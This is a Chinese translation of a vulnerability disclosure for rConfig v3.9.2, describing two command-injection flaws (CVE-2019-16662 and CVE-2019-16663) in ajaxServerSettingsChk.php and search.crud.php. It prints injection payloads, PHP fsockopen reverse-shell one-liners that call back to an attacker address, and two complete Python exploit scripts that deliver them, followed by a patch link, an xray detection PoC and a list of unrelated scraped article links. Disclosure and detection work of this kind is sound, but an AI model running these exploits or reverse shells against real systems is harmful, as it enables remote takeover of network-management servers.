rConfig v3.9.2 authenticated and unauthenticated RCE (CVE-2019-16663) and (CVE-2019-16662)

原文:https://shells.systems/rconfig-v3-9-2-authenticated-and-unauthenticated-rce-cve-2019-16663-and-cve-2019-16662/

关于rConfig

rConfig是一个开放源码的网络设备配置管理实用工具,用于网络工程师对网络设备的配置。

图1

关于漏洞的利用

我在两个文件中分别发现了两个远程代码执行漏洞。第一个是ajaxServerSettingsChk.php,攻击者可以通过rootUname参数发送精心构造的一个GET请求,触发未授权RCE漏洞。rootUname参数在源文件第2行中定义,随后会在第13行传递给exec函数,攻击者可以构造参数接收内容实现让操作系统执行恶意命令。这个漏洞很容易利用和发现,后面的篇幅中我将介绍如何发现并利用这个漏洞。

第二个漏洞是在search.crud.php发现的,这文件需要通过身份验证才能触发远程代码执行漏洞。这个漏洞可以通过构造一个包含有两个参数的GET请求触发,

其中searchTerm参数可以包含任意值,但该参数必须存在,才能执行到第63行的exec函数。

跟我平常找RCE漏洞的方法一样,因此我使用自己开发的一个Python脚本(https://github.com/mhaskar/RCEScanner)来列出有哪些不安全的函数。这个脚本在先前的案例研究中曾经使用过。

未授权RCE分析

运行这个脚本过后输出了一些结果,我开始分析这些输出结果并且注意到路径为install/lib/ajaxHandlers/的ajaxServerSettingsChk.php文件,部分代码如下:

图2

从代码可以看出,第2行脚本代码的意思是将GET请求中的rootUname参数值赋值到$rootUname变量中。

在第12行,代码将$rootUname与一些字符串拼接在一起,保存到rootTestCmd1变量,然后传递给第13行的exec函数。后续代码执行了相同的操作。

因此,我们只需注入特定构造命令,在第13行跳出转义字符串来执行命令,为此,我们可以使用如下的Payload:

;your command #

为了方便测试,我修改了13行的exec函数,把exec执行后的命令返回结果显示到页面上,然后编码发送Payload,得到了如下结果:

图3

我们发送编码后的Payload,rootUname参数里经过URL编码的【; id #】命令被成功执行了两次。

为了得到shell,使用下面的Payload:

;php -r '$sock=fsockopen(ip,port);exec("/bin/sh -i <&3 >&3 2>&3");' #

默认的CentOS 7.7 mini版本没有安装nc,所以使用这条Payload更方便测试。

在使用Burp编码并发送有效Payload之后,我们将获得以下内容:

图4

我们反弹回一个shell!

为了自动化完成该过程,我简单编写了一个python代码来利用这个漏洞:

脚本地址:https://gist.github.com/mhaskar/ceb65fa4ca57c3cdccc1edfe2390902e

#!/usr/bin/python

# Exploit Title: rConfig v3.9.2 unauthenticated Remote Code Execution
# Date: 18/09/2019
# Exploit Author: Askar (@mohammadaskar2)
# CVE : CVE-2019-16662
# Vendor Homepage: https://rconfig.com/
# Software link: https://rconfig.com/download
# Version: v3.9.2
# Tested on: CentOS 7.7 / PHP 7.2.22 import requests
import sys
from urllib import quote
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning) if len(sys.argv) != 4:
print "[+] Usage : ./exploit.py target ip port"
exit() target = sys.argv[1] ip = sys.argv[2] port = sys.argv[3] payload = quote(''';php -r '$sock=fsockopen("{0}",{1});exec("/bin/sh -i <&3 >&3 2>&3");'#'''.format(ip, port)) install_path = target + "/install" req = requests.get(install_path, verify=False)
if req.status_code == 404:
print "[-] Installation directory not found!"
print "[-] Exploitation failed !"
exit()
elif req.status_code == 200:
print "[+] Installation directory found!"
url_to_send = target + "/install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=" + payload print "[+] Triggering the payload"
print "[+] Check your listener !" requests.get(url_to_send, verify=False)

如下是执行脚本的结果:

图5

再次反弹得到shell!

授权验证的RCE分析

RCE扫描器的另一个结果路径在:lib/crud/的search.crud.php文件中, 这个漏洞需要登录验证后才能利用。片段代码如下:

图6

首先,我们需要绕过第25行的if语句。发送名为searchTerm参数的GET请求,这样就能进入代码判断逻辑内部,然后我们还需要连合一个名为catCommand参数,这个参数里面包含我们的Payload,在第61行与一些字符串拼接起来后。进入代码判断逻辑内部函数后存储到$command变量中,在第63行传递给exec函数执行。

这里将使用sleep这个Payload来测试漏洞,这个Payload将尝试睡眠5秒钟,执行后观察响应时间并与正常响应时间进行比较就能判断执行成功与否。观察第61行的代码,可以有多种不同的Payload。

此处我的Payload:

""&&$(`sleep 5`)#

通过Burp发送这个Payload,我们能得到如下的响应信息:

图7

响应时间延迟了5000+毫秒,也就意味着命令执行成功了!

当然这里不限于仅仅是用sleep命令做测试,除此之外我们也可以尝试多种Payload。

为了得到一个shell,我使用了php的fsockopen并构造成可以跟串联字符串一起使用的Payload,如下所示:

""&&php -r '$sock=fsockopen("192.168.178.1",1337);exec("/bin/sh -i <&3 >&3 2>&3");'#

为了自动化利用该漏洞,我开发了一段简单的python代码:

代码地址:https://gist.github.com/mhaskar/e7e454c7cb0dd9a139b0a43691e258a0

#!/usr/bin/python

# Exploit Title: rConfig v3.9.2 Authenticated Remote Code Execution
# Date: 18/09/2019
# Exploit Author: Askar (@mohammadaskar2)
# CVE : CVE-2019-16663
# Vendor Homepage: https://rconfig.com/
# Software link: https://rconfig.com/download
# Version: v3.9.2
# Tested on: CentOS 7.7 / PHP 7.2.22 import requests
import sys
from urllib import quote
from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) if len(sys.argv) != 6:
print "[+] Usage : ./exploit.py target username password ip port"
exit() target = sys.argv[1] username = sys.argv[2] password = sys.argv[3] ip = sys.argv[4] port = sys.argv[5] request = requests.session() login_info = {
"user": username,
"pass": password,
"sublogin": 1
} login_request = request.post(
target+"/lib/crud/userprocess.php",
login_info,
verify=False,
allow_redirects=True
) dashboard_request = request.get(target+"/dashboard.php", allow_redirects=False) if dashboard_request.status_code == 200:
print "[+] LoggedIn successfully"
payload = '''""&amp;&amp;php -r '$sock=fsockopen("{0}",{1});exec("/bin/sh -i &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3");'#'''.format(ip, port)
encoded_request = target+"/lib/crud/search.crud.php?searchTerm=anything&amp;catCommand={0}".format(quote(payload))
print "[+] triggering the payload"
print "[+] Check your listener !"
exploit_req = request.get(encoded_request) elif dashboard_request.status_code == 302:
print "[-] Wrong credentials !"
exit()

运行漏洞利用代码后,我们能看到如下结果:

图8

成功反弹一个shell!

漏洞披露

我在2019年9月19日向rConfig main developer报告了这两个漏洞,但是没有得到任何修复发布日期,甚至没有得到他们将修复该漏洞的声明。

所以在没有回应的35天后,我公布了这个漏洞。

漏洞检测

译者注:顺着Github找到了系统源码,找到了修复后的漏洞文件

https://github.com/rconfig/rconfig/commit/6ea92aa307e20f0918ebd18be9811e93048d5071

xray poc

name: poc-yaml-rconfig-cve-2019-16663
set:
r: randomInt(800000000, 1000000000)
r1: randomInt(800000000, 1000000000)
rules:
- method: GET
path: /install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=%3Bexpr%20{{r}}%20%2B%20{{r1}}%20%20%23
expression: |
response.status == 200 && response.body.bcontains(bytes(string(r+r1)))
detail:
author: 17bdw
links:
- https://github.com/rconfig/rconfig/commit/6ea92aa307e20f0918ebd18be9811e93048d5071
- https://www.cnblogs.com/17bdw/p/11840588.html
- https://shells.systems/rconfig-v3-9-2-authenticated-and-unauthenticated-rce-cve-2019-16663-and-cve-2019-16662/

rConfig v3.9.2 授权认证与未授权RCE (CVE-2019-16663) 、(CVE-2019-16662)的更多相关文章

  1. 关于vue跨域名对接微信授权认证和APP授权认证

    这种情况一般也只会出现在前后端分离,跨域名授权的时候吧.耗费了一个前端+一个后台+一个网关,熬夜通宵了两天才整出来一套方法(你们见过凌晨6点的杭州吗,对,我下班的时候天黑了,到家天亮了....),和开 ...

  2. Redis未授权访问漏洞复现及修复方案

    首先,第一个复现Redis未授权访问这个漏洞是有原因的,在 2019-07-24 的某一天,我同学的服务器突然特别卡,卡到连不上的那种,通过 top,free,netstat 等命令查看后发现,CPU ...

  3. UCloud-201809-001:Redis服务未授权访问漏洞安全预警

    UCloud-201809-001:Redis服务未授权访问漏洞安全预警 尊敬的UCloud用户,您好! 发布时间  2018-09-11更新时间  2018-09-11漏洞等级  HighCVE编号 ...

  4. ZooKeeper未授权访问漏洞确认与修复

    目录 探测2181 探测四字命令 用安装好zk环境的客户端连接测试 修复 修复步骤一 关闭四字命令 修复步骤二 关闭未授权访问 zookeeper未授权访问测试参考文章: https://www.cn ...

  5. uniapp 用户拒绝授权再次调起授权-语音识别、微信地址、附近地址

    小程序重构,采用 uniapp 框架.记录一下踩过的坑.关于用户拒绝再次调起授权,及如何识别语音识别.微信地址.附近地址的处理. 语音识别 组件 语音识别,小程序只有录音功能,若要识别录音文件,常规做 ...

  6. Redis未授权访问写Webshell和公私钥认证获取root权限

    0x01 什么是Redis未授权访问漏洞 Redis 默认情况下,会绑定在 0.0.0.0:,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服 ...

  7. 解决 Page 'http://localhost:63342/v3/js/math/math.map' requested without authorization页面未授权问题

    用webstorm调试页面时,老是弹出对话框说页面未授权,如下图: 解决方法尝试了两种都有效,感觉第一种是正解通用,第二种大家也可以了解一下作为参考 第一种: File--Settings如下图 第二 ...

  8. mongodb未授权访问漏洞

    catalogue . mongodb安装 . 未授权访问漏洞 . 漏洞修复及加固 . 自动化检测点 1. mongodb安装 apt-get install mongodb 0x1: 创建数据库目录 ...

  9. MongoDB数据库未授权访问漏洞及加固

    1.漏洞危害 开启MongoDB服务时不添加任何参数时,默认是没有权限验证的,登录的用户可以通过默认端口无需密码对数据库任意操作(增删改高危动作)而且可以远程访问数据库. 2.漏洞成因 在刚安装完毕的 ...

随机推荐

  1. Tensorflow简单实践系列(一):安装和运行

    TensorFlow 是谷歌开发的机器学习框架. 安装 TensorFlow 直接使用 pip 安装即可,添加豆瓣镜像可以加快速度: pip install tensorflow -i https:/ ...

  2. Kotlin函数使用综述与显式返回类型分析

    位置参数与具名参数: 继续接着上一次https://www.cnblogs.com/webor2006/p/11498842.html的方法参数学习,再定义一个函数来说明具名参数的问题: 调用一下,先 ...

  3. 对 Jenkins+ANT+Jmeter 接口测试的实践

    转载地址:https://testerhome.com/topics/5262 1.前言 最近感觉大家都在讲Jenkins+jmeter+ant或maven的使用,但没有说到具体怎么投入到项目使用,只 ...

  4. lis框架showoncodename的用法

    fm.Sex.value=tContent2[0][3];//这个一定得是查询出来的码值alert("获取到的值是:"+tContent2[0][3]);showOneCodeNa ...

  5. K-Nearest Neighbors Algorithm

    K近邻算法. KNN算法非常简单,非常有效.KNN算法适合样本较少典型性较好的样本集. KNN的模型表示是整个训练数据集.也可以说是:KNN的特点是完全跟着数据走,没有数学模型可言. 对一个新的数据点 ...

  6. 2019.12.09 java for循环

    for(初始化表达式; 循环条件; 操作表达式){     执行语句     ……… } 先走初始化表达式,再走循环条件,如条件满足,走执行语句,然后走操作表达式,再走循环条件,如条件满足,走执行语句 ...

  7. 利用 PHP CURL zip压缩文件上传

    $postData['file'] = "@".getcwd()."/../attachment/qianbao/{$customer_id}.zip"; $t ...

  8. 3D数据采集和重建

    3D数据采集和重建是从传感器数据生成三维或时空模型.一般而言,这些技术和理论适用于大多数或所有传感器类型,包括光学,声学,激光扫描,[1]雷达,热学,[2]地震.[3][4] 内容 ·        ...

  9. GoCN每日新闻(2019-10-22)

    GoCN每日新闻(2019-10-22) GoCN每日新闻(2019-10-22) 1. Go 集成测试:https://www.ardanlabs.com/blog/2019/10/integrat ...

  10. js获取url中的参数,并保证获取到的参数不乱码

    //网上比较经典的js获取url中的参数的方法 function getQueryString(name) { var reg = new RegExp("(^|&)" + ...